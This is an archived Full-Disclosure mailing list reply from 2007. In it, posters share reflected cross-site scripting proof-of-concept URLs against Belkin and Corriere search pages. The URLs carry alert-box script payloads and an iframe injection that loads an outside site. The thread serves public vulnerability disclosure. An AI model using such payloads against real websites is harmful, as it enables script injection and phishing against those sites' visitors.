| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <46DC5DFE.3060304@sevenlayers.org>
Date: Mon, 03 Sep 2007 21:18:22 +0200
From: "Fabian (Lists)" <lists@...enlayers.org>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: informative...
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Andrea Purificato - bunker wrote:
> Il giorno mer, 29/08/2007 alle 09.31 -0400, Fabrizio ha scritto:
>> And even more informative....
>>
>> http://www.belkin.com/search/?q=%3cscript%3ealert('XSS')%3c%2fscript%
>> 3e&sid=1
>>
>
> [Informative 2]
>
> It seems a common practice, otherwise they were warned months ago, but
> no answer...
>
> http://sitesearch.corriere.it/searchresults.jsp?adsEnvironment=corriere&channel_par=corriere&ricerca_par=%22%3Cscript%3Ealert('XSS');%3C/script%3E
>
>
> Bye,
Informative 3: The 'did you mean' feature even xss' itself...
http://www.belkin.com/search/?q=%3ciframe+border%3d0+width%3d700+height%3d400+src%3d%22http%3a%2f%2fwww.bitrain.net%22%3e%3c%2fiframe%3e&sid=1
- --Fabian
- --
"You could start by defining the meaning of certain esoteric terms, like
'Doesn't work', for exfuckingample." (Kadaitcha Man)
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)
iD8DBQFG3F3+OG44jO5akmwRAqytAKDFwuBuctc8GD/N2Qe3uPFzoLsvAACgoy2F
+tcYMX85bCXRx0Z0by7bIdA=
=sAwW
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists